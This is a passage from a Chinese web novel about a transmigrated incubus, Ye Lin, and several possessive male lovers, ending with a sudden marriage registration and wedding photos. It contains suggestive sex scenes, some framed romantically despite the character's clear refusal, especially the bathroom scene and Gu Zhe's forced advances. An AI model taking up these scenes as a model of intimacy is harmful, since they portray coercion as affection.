梁文乐家大业大,哪怕投资梵星亏损几亿都无所谓。 顾柘和顾嘉致也有自己的家里兜底,楚诏只是付出时间,还有钱可以拿。 说白了,这些人都有玩游戏的底气,只有沈邵不同。 沈氏已经没落,沈邵没有家人兜底,最初愿意陪他创业,就是纯粹地相信利益。 可他为什么会相信梵星会成功,为什么对叶临的话照做不误? 叶临才反应过来,沈邵有点过于听话了,在公司发展上面总是无条件信任自己,大部分都会服从。 沈邵慢慢地描摹他的脸颊边缘轮廓:“叶临从小没人管教,高中就辍学,跑去夜场鬼混,还好赌。 他欠了很多钱,才跑去向叶家求助。可是,小魅魔,你跟他完全不同。” 怪不得一穿过来就背上百万的债务。这么久都没有人质疑过他,哪里会想到沈邵会突然发难。 叶临连忙按住他的手,呼吸急促:“你想说什么!” 沈邵将他搂住,声音像是模糊不清的雾气:“没想说什么。” 叶临感觉自己被无形的双手掐住,最深的秘密已经被人知晓,现在就想看看对方想怎么威胁。 “沈邵,你有话就直说,我很烦藏着掩着!如果你不诚实,我们就没必要合作。” “好吧,我以后还可以叫你叶临吗?” “我本来就叫这个名字!” 沈邵笑起来,凑过去吻他,试图安抚这个暴躁的魅魔,却被推开。 叶临感觉沈邵变得不可控,像个危险的炸弹,下意识地想避开。 沈邵看出他心中的疑虑,干脆坦白:“好吧,我知道你能开挂,才相信你口中的梵星以后会价值万亿。饥饿值,是开挂的副作用吗?” 叶临对上他的眼睛,就像是夜晚仰望星空,深邃无法探知,偏过头躲开:“是,你不要跟别人多嘴,也不要再问,烦!” 沈邵试探到这里,就已经得到了自己想要的全部事实,不再多话。 叶临应该是从异世界穿越过来拯救他,是值得一辈子追随的救世主。 既然是救世主,就会有无数的信徒。他要做信徒中最耀眼的那一个,永远忠诚地侍奉主。 沈邵在心里立誓,此生绝对不会让叶临感到烦恼,也不会向那些俗物一样,做些毫无意义的举动。 “你”叶临注意到沈邵的眼神诡异,像是某种藤蔓植物奋力地缠住大树,牢牢地攀附着,不想下去。 “沈氏申请破产了。”沈邵把手机上的新闻给他,像是在叙述一个陌生的企业:“我爸妈把大部分钱都卷走了,那些叔叔伯伯都跑来找我。” “那你爸妈还挺聪明的。”叶临早就预见过这些,并不感到惊奇。 “他们就是这样,表面慈善,内心凉薄。好笑的是,之前我在沈氏,天天都要被这些叔伯的教育,现在他们倒是低声下气来求我。 我答应帮忙,就开始严肃地教育他们,四五十岁了还要像个小学生一样被训,特别有意思。” 沈邵说着就控制不住自己,轻声地笑起来,像是潜伏在黑暗中的鬼魅,望着遍地尸体,眼神中流露出欣赏的目光,声音却异常冰冷。 “当然,我肯定不会帮,只是耍他们玩罢了。” 叶临还挺喜欢看打脸的场面,尤其是他知道沈邵以前在叔伯面前当孙子,现在突然翻身,当然很爽。 本来应该恭喜沈邵,顺便帮他骂骂叔伯,可此刻听到沈邵的话,却感觉脊背发凉,说不出话。 沈邵靠着他,搂得很紧,像条庞大的蟒蛇,声音轻柔:“这都得谢谢你,还好当初我听你的话辞职,才有今天。” 叶临的身体略微僵硬,直觉告诉他,沈邵也不是什么好对付的蠢人,需要谨慎。 沈邵搂得更紧,嗔怪道:“怎么不说话?” 叶临后知后觉,敷衍一句:“啊,恭喜你!” 沈邵看出他的情绪有异,与他十指相扣,紧紧地攥住,轻声道:“叶临,我永远都站在你这边,会帮你做任何事,你什么都可以跟我说。” 叶临感觉到手心里的温热,才反应过来这是个活人,忍不住吐槽:“就是感觉你今天不正常。” 沈邵去摸他的尾巴,埋怨起来:“你回来就跟顾嘉致待在一起,从不主动联系我,当然会精神不正常。” 叶临觉得痒,扭着腰想躲,却被强行攥住。 过电一般,酥麻感传遍四肢,声音都变得奇怪。 “楚诏这个人蠢笨无能,肯定没办法接受你的魅魔身份,你别告诉他,有事就找我。” “他就是过于正直了,我当然不会告诉。” “那就好,我会一直陪你。” 沈邵将叶临牢牢地掌控住,用细致温柔的话语麻痹神经,让单纯魅魔彻底沦陷。 大概过了两天,效率有所提升,有望恢复正常人的形态。 阳光被窗帘筛过,柔和地洒进来,将头发边缘照得发光,像是半透明。 地上堆放着许多的衣服,都粘上了污渍,需要清洗。垃圾桶里都是纸巾团。 叶临醒来就想玩手机,却清晰地感觉到沈邵的存在。 又羞又气,想脱身离开,却被强行拽回去。 “操!” 他骂了一句,紧接着就连忙咬住嘴唇,忍住声音。 沈邵已经睁开眼,从侧面将他搂住,是晨起时无法满足的表情。 叶临紧紧地抓住他的胳膊,指尖都陷进去,痛骂:“你,你这个畜牲,一晚上都” 后面话被强行打断,换成高亢的声音,断断续续。 沈邵得了便宜还卖乖,无奈道:“谁让你这” 叶临的耳垂发烫,像是要被烧伤,气得咬牙,又没有力气,只能溢出许多个单音节。 大早上的,就被这家伙折腾,真是要命了。 【当前饥饿值45%】 靠,都还没满! 叶临正想骂他,却感觉到尿意,焦急地挥手去打:“走开,我要去上厕所。” 沈邵听到,眼神一转,立即将他抱起来,朝着卫生间走去:“我帮你吧,魅魔应该不方便。” “操!不需要,你放开我!” “我觉得很需要。” “沈邵,你这个畜牲,想死吗!” 叶临红着脸破口大骂,也没有办法阻止他的疯狂举动。 去卫生间的路途格外漫长,沈邵故意折磨他,好几次都快忍不住。 叶临快要崩溃了,只能掐住沈邵的胳膊,厉声警告。 可到了卫生间,沈邵也没有离开,就偏要挤他。 像是在遭受屈辱的酷刑,马上就要丢脸去世。 叶临看着镜子中的自己,哪里还有半点正常男性该有的样子。 乱糟糟的头发里冒出黑角,长长的尾巴还缠住沈邵,末端的桃心轻轻地戳。 应该是发高烧了,脸颊和脖子都红起来,站立都困难。 叶临不想再看,连忙捂住自己的脸,企图蒙骗自己。 结果沈邵偏要折腾他。 非常强烈的感觉,像是洪水过境,要摧毁一切。 叶临刚开始还疯狂挣扎,想要逃脱,可是已经来不及。 他眼睁睁地看着,然后开始崩溃,眼泪随之流下。 脸颊完全烧起来,像个做错事的孩子。 沈邵还在安抚他,告诉他这是正常的现象,再轻柔地吻去泪水。 叶临还在哭,肩膀抖得厉害。 好一会儿才缓过来,立即扇了沈邵巴掌。 沈邵在清理,被打也不抱怨,默默忍受。 叶临扇了还不满意,又踹了好几脚:“不要脸的狗东西,你怎么不去死!” 沈邵笑起来,他可太喜欢羞怒的叶临了,凑上去亲。 快活后,就是持久的冷战。 叶临不跟他说话,就躺着玩手机。 没办法,沈邵只能想想别的办法,赶紧钻进厨房里研究。 叶临滑动手机屏幕,注意到顾柘给自己发了很多消息。 【关键时刻不来,要你有什么用,滚!】 【你在哪里?】 【还问,我再也不要见你,废物。】 叶临骂完还没觉得消气,又骂骂咧咧地把顾柘删掉。 第95章 第95章“是我的错,对不起。”…… 有了顾柘做对比,沈邵都变得顺眼,至少每次有要求,都能够办到。 叶临查沈家的新闻,发现沈邵说的都是实话。 沈氏的财务出现了巨大危机,沈父提早抽身,亏损很多钱,好歹能保持不负债。 而沈母有自己的事业,迅速离婚,去了国外过好日子。 这段时间,沈家应该会成为热议的对象,可没过一个月就会从原本的圈层里消失,再也不会出现。 此后,沈邵跟沈氏没有关系,名字的前缀只会有梵星。 算下来,沈邵除开梵星,毫无依靠,完完全全地把自己交给叶临。 叶临还能回想起他在订婚宴上被打得血肉模糊的惨状,以及在医院里公然与沈父沈母决裂,生病都要处理梵星的事情。 听到门响,就知道是沈邵走进来。 叶临偏过头,背对着门口,不想跟他搭话,心不在焉地地刷新网络。 沈邵走到他面前,抬手去摸他的额头:“还好没发烧,要上药吗?” 叶临在魅魔形态下,恢复得很快。 平常需要两三天才能恢复,现在就只要两个小时就能继续进食。 哪里会需要药膏。 可是提到药膏,又会让他回想起刚刚在卫生间的事情,脸颊很快就涨红。 叶临拍开沈邵的手:“滚开,我现在不想看见你!” 沈邵听出他还在生气,连忙跪下来,扒着床边缘,故作可怜地求饶:“对不起,我刚刚不该那样对你,原谅我好不好?” 在外温文尔雅的西装男人,在家里会给他洗衣做饭,还跪在床边道歉,反差感很强。 叶临垂眸去看他的膝盖,果真接触到地面,而且不是柔软的地毯,还是冰冷的地板砖。 应该是不好受的。 但沈邵就不听他的话,偏要折腾他,当然要惩罚,否则以后就无法无天了。 叶临下定决心,扭过头不看他,嘴里嘟囔着:“你有本事就继续跪着,我才不可怜你这种没有理智的畜牲!” 沈邵听到这话就像是得到谅解书,乖乖地跪好,凑到他的耳边絮絮叨叨:“你骂的对,我有错,不该让你” 叶临听他的话越说越直白,耳垂发烫,整个人都烧起来,尾巴也在不安分地乱动。 “闭嘴!” “好。” 沈邵果真不再说话,就老老实实地呆在旁边,像个木头人。 房间里安静得可以听到彼此的呼吸声,莫名地感到烦闷,像是不透气的密闭空间。 叶临拿出手机,试图转移注意力,发现顾柘还在申请好友,立即拒绝。 紧接着就看到楚诏在给他发消息,询问他的情况。 想到楚诏跟顾柘是一伙的,连带着就有火气,干脆顺道骂了。 【你还好意思给我发消息!】 【你在顾柘那里吗?】 【不在,我器重你,结果你跟顾柘串通骗我。接下来,你是不是要把梵星机密偷给顾柘?】 【没有,我不会这样。】 【反正我不信任你,跟顾柘一样恶心讨厌,滚!】 发完消息,就把楚诏删除。两个人都是一丘之貉,狼狈为奸,令人厌恶,滚远点最好。 叶临骂了几句,又反应过来。 沈邵最开始被顾柘押进医院里,应该是想提醒他,给了很多暗示,只不过当时他看不懂。 甚至顾柘一外出,就冒险来医院想告诉他真相。 顾柘心狠手辣,知道沈邵背叛,肯定会下死手,沈邵也敢冒险。 现在看来,只有沈邵对他最忠心。 叶临偏头去看,发现沈邵居然还跪着,身体板正,是标准的跪姿,也最为累人。 沈邵的眼睛低垂着,在注视着地面,像是在反省自己。 叶临莫名觉得他有点可怜,还觉得自己的处理方式确实不公平。 明明顾柘和楚诏比沈邵还恶劣,结果只是被他删好友,骂两句,而沈邵忠心耿耿,还要被罚跪。 算了,沈邵也只是在那档子事上比较放纵,没有犯下大错。 “我不叫你起来,你就要跪到死吗?” “啊?” 沈邵听到他的话,抬头去看,装作听不懂,眼神无辜。 这样子,就像是被坏人欺负了。 叶临又气又无奈,没好气地骂道:“滚上来,免得腿跪坏了,还不能去公司上班。” 沈邵得到恩准,立即站起来,钻进被子里。 叶临被搂住,就感觉到热,嫌弃地去推,抱怨沈邵太粘人。 沈邵把空调打开,偏要黏上来说些甜蜜粘腻的话,声音很小,像是轻柔的风。 “你心疼我。” “少来,我是怕梵星没人管。” “好,我知道了。” 沈邵没有再问,他熟悉叶临的说话方式,说是不心疼,就是心疼。 只要能够得到叶临的心疼,膝盖跪得酸痛也会觉得幸福,毫无怨言。 房间里的温度适宜,旁边有个粘人的麻烦家伙好久才睡着。 不知道过了多久,叶临醒过来觉得肚子饿,下意识叫了沈邵的名字。 没有回应。 他就朝着旁边去摸,居然是空的。 已经是晚上,房间里漆黑,打开灯才能看清楚周围的情形。 沈邵不在卧室,也不在客厅和茶室,书房也没有人影,像是人间蒸发。 走到厨房才看到冰箱里有张便利贴,是沈邵隽秀的字迹。 “公司临时有急事,我先去处理。菜都在冰箱,用微波炉热了就能吃。” 冰箱里整齐码放着各种饭菜,全都是沈邵的手艺。肯定是新鲜的最好吃,但进微波炉热一下,也挺不错。 也不知道是什么急事,能让沈邵急匆匆地赶回去。 叶临吃饭的时候,就给沈邵发消息询问,还没有得到回答,于是又给刘闻发消息。 刘闻告诉他,是梵星的竞争对手恶意打压,高层需要临时想出应对之策。 这也正常,梵星在扩展商业版图的时候,会危害到很多人的利益,当然会被恶意打压。 有沈邵的话,应该能够处理好。 叶临想听沈邵亲口跟他说,刘闻是个技术人员,并不能把事情说清楚,还是沈邵的条理更为清晰。 他边吃饭边等沈邵的回信,却突然听到门铃声。 是沈邵忘记密码了吗? 叶临没有多想,走过去也不查看监控,就直接开门。 门外站着的却是顾柘,眼疾手快地闯进来,没给他反应的机会。 叶临被抱住,紧接着就看到门被关上,闻到顾柘身上熟悉的木质香味。 “操,你突然跑到这里做什么!” 顾柘抓住他的尾巴,瞬间就明白了一切,脸色阴沉。 沈邵知道你的魅魔身份了?” “对,你先放开我,快喘不过气!” 顾柘已经能够想象到,这几天叶临会跟沈邵度过怎么样的生活,手上不由得用力。 “你怎么把秘密告诉他,不怕被他坑害吗?” “这有什么好怕的,我还害怕你坑害我呢!” 叶临推不开,就只能踩他的脚,结果被抱起来。 他疯狂地捶打顾柘,却没有任何作用,反而像是挠痒痒,让人心窝冒火。 顾柘把他放在柜子上,就仰头去吻,固定住双手。 叶临的睡衣乱了,展现出很多痕迹,但已经变浅,看不出具体的时间。 与本体冒出的强烈反抗意愿不同,尾巴非常热情,还主动邀请。 顾柘注意到沈邵的痕迹,恨不得将这块皮扯下来,换上全新的。 可他又舍不得叶临疼,只是轻轻的吻。 叶临挣扎不掉,就忍不住破口大骂。 “当时我的饥饿值满了,给你发很多消息,你都不来,只能告诉沈邵,说来说去都是你的错!” “是我的错,对不起。” “所以你当时在干嘛,现在怎么好意思跑来找我!” “我的生意被爸妈搅和,我忙着应付他们,现在已经放弃一切,跟他们断绝关系,离开顾家。” “啊?” 叶临想象着顾母哭得梨花带雨的样子,实在不相信他们两位会放弃疼爱十多年的大儿子。 顾柘的心情平静,甚至是兴奋,脸上毫无伤心的痕迹。 “他们有个顾嘉致就够了,那小子不敢忤逆爸妈,还被困在家里,以后都别想见到你。” “你又暗害顾嘉致!” 叶临恼火,抬脚就朝着顾柘的脸踹去,却被接住。 “彼此彼此,只不过我技高一筹。” “你放开我,混蛋!” “你跟沈邵都做了什么事情,我全都想知道。” 顾柘以一种完全无法抗拒的姿态,强硬地逼迫叶临。 他不是来给魅魔喂食的,而是贪婪地索取。 叶临难以自持,差点就要化成一滩奶油。 他疯狂地挣扎,手脚一并用上,又是咬,又是踹的,居然毫无作用。 面前的顾柘像个石像,感知不到疼痛,只一味地进攻。 叶临快崩溃了,红着眼骂起来:“顾柘,你滚啊!我说了不想见到你,怎么好意思上门!” 顾柘也不好受,谋划了这么多,还是没有得到叶临的欢心,现在还要被嫌弃。 可他就是放不下叶临,哪怕嘴上在道歉,动作也丝毫不饶人。 “我可以跟你说道歉,忏悔认罪。但我永远不会离开你。” “你有病吧,我这辈子最后悔就是遇见你!” 叶临刚说完,就断了声音,开始呜呜咽咽。 这里就是玄关,距离门很近,也不知道隔音如何。 他每次看到门,都会紧张害怕,下意识地抓顾柘。 “呜呜呜呜,不要,不……” 顾柘听到他的哭声,又心软了,停下动作去吻。 叶临疯狂打他,边哭边骂。 “你怎么不去死,我最恨的就是你!” “对不起。” “对不起有用吗,有本事放开我!” 叶临刚骂完,就被放开。 这种时候被中断,两个人都不好受。 顾柘面上平静,看着他不说话。 叶临其实想要,可是他先闹的,现在又没有办法主动开口。 大概僵持了1分钟,魅魔还是受不了。 叶临把脚搭在他的肩膀上,轻轻的蹭,偏着头小声嘀咕。 “不要就滚!” 顾柘的心被勾起来,哪里受得了他这股娇蛮劲,赶紧把人抱着哄。 不知不觉就到了卧室,哪里都是乱糟糟的。 夏天多雨,窗外很快就响起了雨声,淅淅沥沥,水汽蔓延进来。 叶临吃饱了就没有好表情,边戳边骂,恨不得把这辈子学过的脏话都用在顾柘身上。 顾柘抱着他被骂,也不生气,只是埋首去亲。 事到如今,他已经明白了一个道理: 叶临不会属于任何一个人,愿意为某人停留已经是天大的恩赐。 或许,或许他只要叶临在身边停留久一点,超过别人就好。 第96章 第96章“我今天想跟你登记结婚” 竞争对手很难缠,沈邵在公司歇息了一晚上,早上才回到家里。 叶临懒惰,一般会睡到中午才会醒来。 沈邵进门的时候害怕吵到叶临睡觉,动作都会放轻。 他想走进厨房里做饭,结果却看见顾柘出现在客厅。 顾柘明显是刚刚洗漱完,穿着睡衣在客厅里走动,注意到玄关处的沈邵,就停下来,望过去的眼神充满挑衅。 两个人都没说话,在无声的对峙。 沈邵已经把昨天的来龙去脉全推算出来,应该是顾柘突然登门,叶临与之纠缠,然后在主卧里休息了一晚上。 玄关处的柜子上还有凌乱的睡衣,很多地方都没有收拾干净,保留着昨晚的境况。 可想而知,叶临经历了什么。 嫉妒像是火焰,要将人完全吞噬,灼烧得面目全非。 沈邵捏紧手里的购物袋,纠结再三,还是选择走进厨房里放下食材。 顾柘哪里想到这家伙像个没事人,立即跟上去。 沈邵把他当成了空气,专注地清洗食材,沉默不语。 冰凉的水流淌过手背,冷意都快要沁入心底,妒意都随之冻结。 早就已经习惯了,又不是第一天知道叶临的性格。每天都为此伤心,再多心力都会透支,不如当做看不见。 “你怎么还呆在这里,昨天晚上是我陪了叶临。”顾柘轻轻地敲击桌面,想要将这个多余的人驱逐出去。 “这里是我家,我不呆在这里,还能去哪里?”沈邵抬头去看顾柘,情绪没有波动,像是一个死物。 “你家?”顾柘的眼神轻蔑,“这是叶临的房子。” “叶临当初买房的时候,是带着我一起挑的,家里的装修也是我决定的。”沈邵说到这里,又有了优越感,眼神得意:“他说我可以一直住在这里,把这里当成家。” 顾柘昨天夜里催促叶临把沈邵赶出去,估计弟弟也说过类似的话,但叶临都没有答应,非要收留着沈邵。 明明沈邵手里有很多钱,随时可以在附近买套豪宅,偏要在叶临面前装可怜,赖在这里。 全世界就只有叶临会觉得沈邵这种诡计多端的烂人可怜,需要容身之所。 顾柘不甘示弱:“我早晚会把你逼走。” 沈邵眉飞色舞:“你最好现在就把我赶走,求之不得。” 只要顾柘将他赶走,又能在叶临面前靠可怜博取同情,收获一段时间的宠溺。 顾柘现在已经摸清楚沈邵的路数,哪里敢轻举妄动,并没有答应。 沈邵故意跟他僵持着,两个人都不主动攻击,就等着对方攻击,好在叶临面前告状,挑出错处。 直到叶临醒来,他们都没有动手,达成了诡异的平衡。 叶临揉着眼睛走出卧室,叫了沈邵的名字要吃饭。 沈邵笑着应下,赶紧把早饭盛出来。 叶临坐在桌边等饭,看到顾柘也在,于是没好气地反问:“你怎么还不走,赖在这里做什么!” 沈邵趁机泼脏水:“刚刚我在厨房忙,他还进来捣乱。” 顾柘冷哼一声,斜瞥着他,嘲讽道:“吉财科技的事情解决了,还敢在装可怜?” 沈邵语塞,脸色难看。 叶临听说过吉财科技的名字,也是做互联网的,应该是竞争对手。 现在顾柘提出来,应该是跟梵星有关系。 “吉财科技怎么了?” “恶意竞争,导致梵星损失了很多客流量,沈邵肯定还没解决好。” 昨天晚上梵星的服务器还被恶意攻击,几个大订单还被吉财科技争抢。 沈邵呆在家里错过最佳处理时机,昨天跑过去处理都晚了。 现在都没有得到完美的解决方案,损失了很多钱,只能今天再去公司想。 顾柘的人脉广,打探清楚,就开始在叶临面前贬低沈邵的业务能力,反复强调是因为沈邵疏忽大意才没有发现这个危机,并说出自己的解决方案,表示愿意帮忙。 叶临听了以后,也觉得顾柘的方案可行性更高,于是看向沈邵:“你一个人应该忙不过来,让顾柘帮你吧!。” 沈邵当然不想,可是叶临在这件事上都没有怪罪他,给了台阶就要下:“好,我今天就去处理。” 顾柘难以置信地看着叶临,情绪极度不满:“你搞清楚,是他不专心工作,才让吉财科技有机可乘。居然还让他跟我一起处理。你应该辞退他!” 叶临无奈地翻白眼:“人又不是机器,犯错很正常。再说了,我前几天是特殊时期,他需要帮我,才没能及时管公司。 说来说去,都是你的错,还好意思在这里抱怨,快滚去公司帮忙!” 顾柘倒贴在先,上赶着来帮忙,现在被叶临骂,也只能接受:“行,那你以后需要补充饥饿值,优先找我。” 叶临吃了几口面,又回想书里关于吉财科技的介绍,想到细节就叮嘱他们两个:“吉财科技财大气租,但是对科技人才的待遇不好。 你们联系楚诏,看吉财科技的技术员里面有没有他的熟人,能挖墙角就挖。” 沈邵把叶临的话当成金科玉律,立即拿出手机联系楚诏。 他知道自己在吉财的事情上有错,现在也没心情呆在家里,立即出门,想先处理完麻烦再回来邀功。 顾柘跟他是同样的想法,紧跟着出门去干正事。他可不想在这种事情上输给沈邵,必须让叶临知道自己的高超能力,才会多对他上心。 家里只剩下叶临一个人,好在魅魔形态也解除了,下午就可以正常外出。 叶临透过落地窗打量外面的情况,推测气温很高,阳光刺眼,还是傍晚再出门。 过了一会儿,顾嘉致给他发消息,紧接着就是打电话。 叶临面对顾嘉致,还是会立刻接听。 “有急事跟你商量。” “什么急事?” “有关我的身家性命,真的很着急!对了,你把身份证件都带上,有用。” “啊,你在打什么哑迷?” “是不是兄弟,是兄弟就信我一次!我现在是逃亡的状态,先挂了,待会见面说清楚。” 顾嘉致说完就挂断电话,给叶临发了见面的地址,以及需要的证件。 叶临看到他的消息,脑子里产生了很多疑惑。 根据顾柘的话来推测,顾嘉致现在被爸妈控制,应该好不容易逃出来,需要他接应。 要他接应,直接来他家就好了,怎么还需要证件呢? 叶临打字继续追问,很久才得到回答。 【你快来,真的是急事!】 【网上说不清楚,线下才好说。】 【你不来的话,我就死了。】 叶临感觉顾嘉致应该是惹到了祸事,才会支支吾吾的。 毕竟是来到这个世界的第一个好朋友,出了事还是要去管。 麻烦死了! 顾嘉致认识他,真是三生有幸了! 叶临骂骂咧咧地换了一件衣服,迅速带着证件出门。 临走时,他还查询了饥饿值,确认只有30%,这才安心。 见面的地点是在很远的一家饭店,有雅致的小包间,人很少,大厅播放着古典音乐。 推开包间门,就看到顾嘉致戴着挡脸的鸭舌帽,手里捏着身份证,垂头看手机,也不知道在想些什么。 叶临在他对面坐下来,把身份证推过去,摆出一副大哥的模样:“说吧,闯了什么祸?” 顾嘉致抬眼看他,纠结片刻就做出痛苦的表情,抱住头哀嚎:“我爸妈疯了,这几天给我安排相亲。我说我不喜欢女生,不想结婚,他们还逼我。 我只能把自己反锁在房间抗议,他们就说随便挑个女生跟我登记结婚,好不容易才跑出来的!” 叶临注意到他的衣着打扮朴素,看起来像个普通穷学生,感慨道:“怪不得顾柘会说那种话,你爸妈也不想绝后,肯定要逼你。” 顾嘉致发现叶临的态度像爸妈一样,顿感失落,只能继续渲染事情的严重性:“可是我不想过这样的人生,我想要自由,你懂吗!” 叶临想起自己被梁文乐和顾柘逼婚的经历,深有同感,连连点头:“懂啊,被迫就是很痛苦,自由才是世界上最重要的。” 顾嘉致见状,就知道有希望,于是拿过他的身份证,诚恳道:“我也没求过你什么事情,今天就是想来求你帮忙。” 叶临感觉重担在身,责任心都强起来:“你说,只要是我能力范围之内,都能帮你办到。” 顾嘉致盯着他的眼睛,明明爱意在汹涌,却要装成平静的样子开口:“我今天想跟你登记结婚,这样我爸妈就不能随便拿我身份证去跟别的女生登记。” 叶临懵了,无奈摆手:“不,你这是什么逻辑啊?” 顾嘉致将两个人的身份证叠放在一起,紧紧地攥住,假装开朗不羁:“我这个逻辑很正确。在这个世界上,我最信任你。我跟你登记结婚,可以避免被逼婚。” 叶临欲言又止,总感觉顾嘉致今天不对劲,像是被逼疯了的孩子开始做出诡异的事情。 顾嘉致试图掩盖真心:“你放心,只是假结婚。以后你遇到喜欢的人,可以跟我离婚。同样,我也是。你总说,我是你的好朋友。朋友有难,你应该帮我吧。” 叶临看出顾嘉致在慌张,握紧身份证的手都在发抖,眼神躲闪不定。 他很想问问顾嘉致:“你是不是忘记了,你跟我告过白?你想跟我结婚,没必要编造这种蹩脚的借口吧。” 可是最终,他问不出口。 顾嘉致跟他之间,早就不是纯粹的朋友关系,哪里可以直白干脆地询问对方。 “你买房都要沈邵挑,还跟梁文乐订过婚,也跟我哥见过父母。但是,我什么都没有。” 顾嘉致说到最后一句,声音已经哽咽。 叶临抬眼,就注意到顾嘉致眼睛里有泪花在闪烁,像是那天在地下室流的血。 好像,他之前答应过的。 就当作是兄弟搭伙过日子。 反正,结婚也能离,有什么大不了的。 叶临也不知道自己到底是懒得思考事情的后果,还是单纯地可怜顾嘉致,居然答应了。 “行吧,就帮你这个忙。” 第97章 第9*7章跟顾嘉致拍结婚照 现在已经极大地简化了登记结婚的手续。去了民政局,交付身份证,拍照,十几分钟就能够轻松登记。 刚好饭店300米处就有一家民政局,步行两分钟就能到达。 民政局门可罗雀,进去后就没有看到情侣进来登记,办公桌边的登记人员都在打瞌睡。 他们看到顾嘉致和叶临走进来,都惊讶现在还有人结婚,赶紧把材料拿出来登记。 叶临看到材料上写了很多看不懂的术语,本来还想问清楚,紧接着就被带去拍合照。 顾嘉致把外套脱下来,里面是件修身的昂贵衬衫,还把头发抓了两把,维持良好的形象。 工作人员让他们微笑,顾嘉致笑得自然,叶临还没反应过来,眼神略微呆滞。 “两位新婚快乐,笑一下!” 顾嘉致在旁边挠了挠叶临的痒痒穴,摄影师精准抓拍,记录下两个人都笑的画面。 走出民政局时,顾嘉致在旁边把结婚证翻来覆去地看,像是在欣赏一件珍贵的宝物。 叶临却没有实感,他看艺术作品里的结婚,都是要见双方父母,大摆宴席,再领证。 可是轮到他和顾嘉致,只是抽根烟的功夫,结婚证就领完了? 叶临总感觉自己在梦里,莫名其妙地答应跟顾嘉致领结婚证,又莫名其妙地进民政局,接下来又莫名其妙地要去哪里? “我们,两个男人,结婚了?” “对啊!”顾嘉致挥挥手里的结婚证,兴奋得像是拿到了冠军奖牌,就快要蹦起来:“以后我们就是法定的伴侣,大家都会认为我们是一对。” “那行,你爸妈现在应该不会再催婚了。” “当然不催,我都背着他们领证结婚,敢多嘴,我就再也不回去。” 叶临其实知道顾嘉致的真实用意,他只能用帮助兄弟的理由麻痹自己,勉为其难地接受他们已婚的事实。 反正,哪有什么感情是长久的,他和顾嘉致以后都会遇到自己喜欢的人,早晚会离婚。 领完结婚证,还需要去拍结婚照。 顾嘉致了解叶临的性格,要是像梁文乐那样大张旗鼓地筹备很久再结婚,叶临肯定会后悔。 干脆就在附近找个摄影楼拍照,要求快速,这样叶临就来不及反应。 摄影楼里有各种场景,和服装可供选择,能够拍出几十种风格的结婚照。 顾嘉致要求现代,古代,民国都来一套,场景都是选择浪漫的大海,雪山,沙漠这种壮丽的背景板。 叶临换上白色的西装,坐在化妆镜前任由化妆师打扮,偶尔看一下旁边的顾嘉致。 他能感觉到顾嘉致要求结婚的借口拙劣,但看到顾嘉致伤心失落,又会心软,才会走进民政局,来到这个影楼。 化妆师快速地帮叶临画完妆,啧啧感慨:“小哥哥,你底子真好,待会儿肯定很上镜。” 叶临听到有人夸自己,心里还是高兴的,笑起来回应:“很多人都夸过我的脸上镜。” 化妆师盯着他的干净妆面夸奖,领着他进入拍摄场地。 顾嘉致穿同款的白色西装站在不远处,手里还捧着一束红色玫瑰花,注意到叶临,耳尖随之泛红。 叶临走过去看了玫瑰花,想到梁文乐,心情怪异:“怎么还整了束花?” 顾嘉致把花束递给他,打开戒指盒:“这是道具,拍摄要用到。” 叶临的眼神嫌弃,还是伸出手让他戴:“好麻烦。” 顾嘉致郑重地将婚戒戴上他的无名指,把影楼当成婚礼现场,周围的工作人员是宾客,默默地在心里发誓,这辈子都会对叶临不离不弃。 无论叶临做出任何事,他都会包容,一如既往地深爱。 摄影师觉得他们的情绪正好,立刻抓拍这个瞬间,还示意他们亲吻。 还没等叶临反应过来,顾嘉致就倾身过来吻他,闪光灯打在他们脸上。 戴婚戒,接吻都被永远记录下来。 普通人上镜都会胖十几斤,叶临的脸瘦,五官立体度高,怎么拍都不会丑,天生的上镜脸,每张照片都好看。 摄影师难得遇到这种颜值高的夫夫,拍到最后还觉得不过瘾,想免费多拍几张当做店里的例图。 顾嘉致想到以后每个来到影楼的客人都会看到他和叶临的结婚照,就同意他们把这些照片当成例图。 换装拍照太耗费体力,离开影楼的时候,叶临已经昏昏欲睡,生顾嘉致的气,也懒得骂。 他打算先睡一觉,事后再收拾顾嘉致。 顾嘉致想带他回自己的公寓,却被嫌弃,只好开车送他回家。 推开门的瞬间,就能看到270°的落地窗,将整个城市的繁华地段尽收眼底。 叶临换完鞋,就朝着卧室走去,嘴里还念叨:“看吧,这才是生活。你那个小公寓,我才不想住呢。” 顾嘉致被嫌弃,心里有气,但念在新婚第一天,就没有跟叶临计较。 他跟上去,搂住叶临的腰追问:“有了点钱就嫌弃我,那以后你真成首富了,会不会赶我走?” 叶临站在门边认真思考这个问题,摇摇头:“那倒不会,我不会背弃陪我吃苦的朋友。” 顾嘉致戳戳他的鼻尖,故意纠正:“还朋友呢,你现在应该叫我老公。” 叶临推他,嘴里嘟囔着:“又不是真的,是” 顾嘉致不想听实话,赶紧把他抱起来亲,朝着床走去。 还好这个点,家里只有他们,可以随心所欲。 考虑到叶临现在疲惫,顾嘉致只是搂着他亲,没有做其他的事情。 叶临困得睁不开眼,很快就入睡。 哪怕是初秋,街上还是闷热难耐。有经验的人看天空中的云层,就知道很快会下雨,连忙躲进建筑里。 楚诏接到沈邵的消息,立即去跟吉财科技的老朋友吃饭。 毕竟他已经被叶临拉黑,必须想办法讨回好感,解决公司困难是最有用的办法。 老朋友是个厉害的程序员,见到他直叹气,才喝两口酒已经把公司骂了几百遍, 他跟楚诏抱怨,吉财科技里面全都是关系户。 刚开始只是人事部这些无关紧要的,后面连核心的研发部都塞进好几个人,还赶走了很多技术人员。 眼看着吉财科技的管理层越来越腐朽,全都是白领钱不干事的少爷小姐,他都不知道自己能呆多久。 楚诏把自己在梵星的经历告诉他,还着重强调叶临非常重视科技人才,愿意开出高薪的价格接纳人才。 朋友只知道叶临私生活不检点,哪里知道楚诏跟叶临之间有关系,以为真是个好老板,连忙询问。 从前梵星的资金有限,现在赚了很多钱,完全可以开出高薪条件从吉财科技里面招纳人才。 朋友听了以后,非常心动,还想拉上自己和几个朋友一同跳槽。 他还告诉楚诏,吉财科技预计下个月抢占市场,梵星需要警惕。 楚诏跟他约好下次见面的时间地点,都不想跟沈邵对接,急着回家。 他已经有大半月没有见到叶临,今天才有机会从外地赶回来。 不用想,都知道是沈邵的手笔。 因为是同事,还都为叶临办事,哪怕心有怨言,也不敢在明面上翻脸。 进入停车库后,他发现多了一辆车,看风格不像是叶临的。 他拍下照片发给沈邵,发消息质问。 【你买的新车?】 沈邵看到消息,将图片放大,仔细回忆细节,确认不是顾柘的车。 